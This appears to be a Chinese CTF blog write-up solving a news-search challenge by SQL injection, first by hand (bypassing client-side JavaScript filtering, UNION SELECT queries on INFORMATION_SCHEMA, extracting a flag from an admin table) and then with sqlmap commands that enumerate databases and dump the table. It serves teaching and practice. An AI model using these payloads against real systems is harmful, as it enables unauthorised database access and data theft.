CTF 刷题记录(一) 白云新闻搜索(手动与自动化SQL注入)
题目
给出的靶机如下:
解题思路
首先判断这是考察哪个知识点,只有一个输入框,题目中又说到入侵,首先考虑sql注入,下面介绍手工和自动化注入两种方式
(1)手工注入
先随便输入几个值,发现只有在值等于“内容”时有返回结果,其他关键字均没有结果,但是会有会先如下:
用“ ’ ”来探测是否能接受特殊字符以及是否存在注入点,结果如图:
很显然,存在前台的js代码在控制输入的字符,找到这个网页的js代码,如下:
代码把所有的特殊字符都换成了空字符。
现在要做的就是就是先把这个网站的js代码停用,如下图:
停用以后:
接着测试,使用 ’ or 1=1 – ’
把所有的内容都显示了出来,由此判断出,网站后台的SQL语句代码大概为:
select * from 某个表 where 某个字段=‘关键字’ limit 5;
由这个推断继续往下试探,使用 ’ union select 1 from INFORMATION_SCHEMA.tables – ’ 这一格式来试探其sql语句的返回结果共有几个字段,结果显示为三个,如下:
而且在访问INFORMATION_SCHEMA数据库时没有报错,那就是拥有访问权限
查看存在的数据库和表,命令如下 ’ union select 1,TABLE_SCHEMA,TABLE_NAME from INFORMATION_SCHEMA.tables – ’
如图:
通过分析,当下用户可以查看到两个数据库:INFORMATION_SCHEMA news
flag大概率在news数据库中,其中的news表存的应该是新闻信息,现在主要看admin表
通过如下命令:
查看所有列,(其实可以添加where语句进行过滤,但是加了无结果,还没找到原因)
看到存在“flag”列
用以下语句获取admin表里的flag列的数据 ’ union select 1,2,flag from admin – ’
获得结果如下:
得到了flg,大功告成。
(2) sqlmap自动化注入
使用sqlmap能 大大的提高注入效率,这显然是使用post方法提交的,所以需要看一下提交的格式,这里使用burpsuite来查看,如图:
然后使用如下语句进行注入 sqlmap -u “http://183.129.189.60:40012/” --data=“word=%E5%86%85%E5%AE%B9&number=5” --batch -p “word” --dbs
结果如下:
这里看到多探测出一个“test”数据库
查看news数据库存在的表:
sqlmap -u “http://183.129.189.60:40012/” --data=“word=%E5%86%85%E5%AE%B9&number=5” --batch -p “word” -D news --tables
把admin表dump出来,如下:
sqlmap -u “http://183.129.189.60:40012/” --data=“word=%E5%86%85%E5%AE%B9&number=5” --batch -p “word” -D news -T admin --dump
同样看到flag。
总结
sqlmap注入的效率要高的太多,但是手工注入是基础,也要加强学习。
本文地址:https://blog.csdn.net/qq_29566629/article/details/107603537
上一篇: visio怎么绘制工作证/桌牌?
下一篇: 网站的发展方式和网站推广模式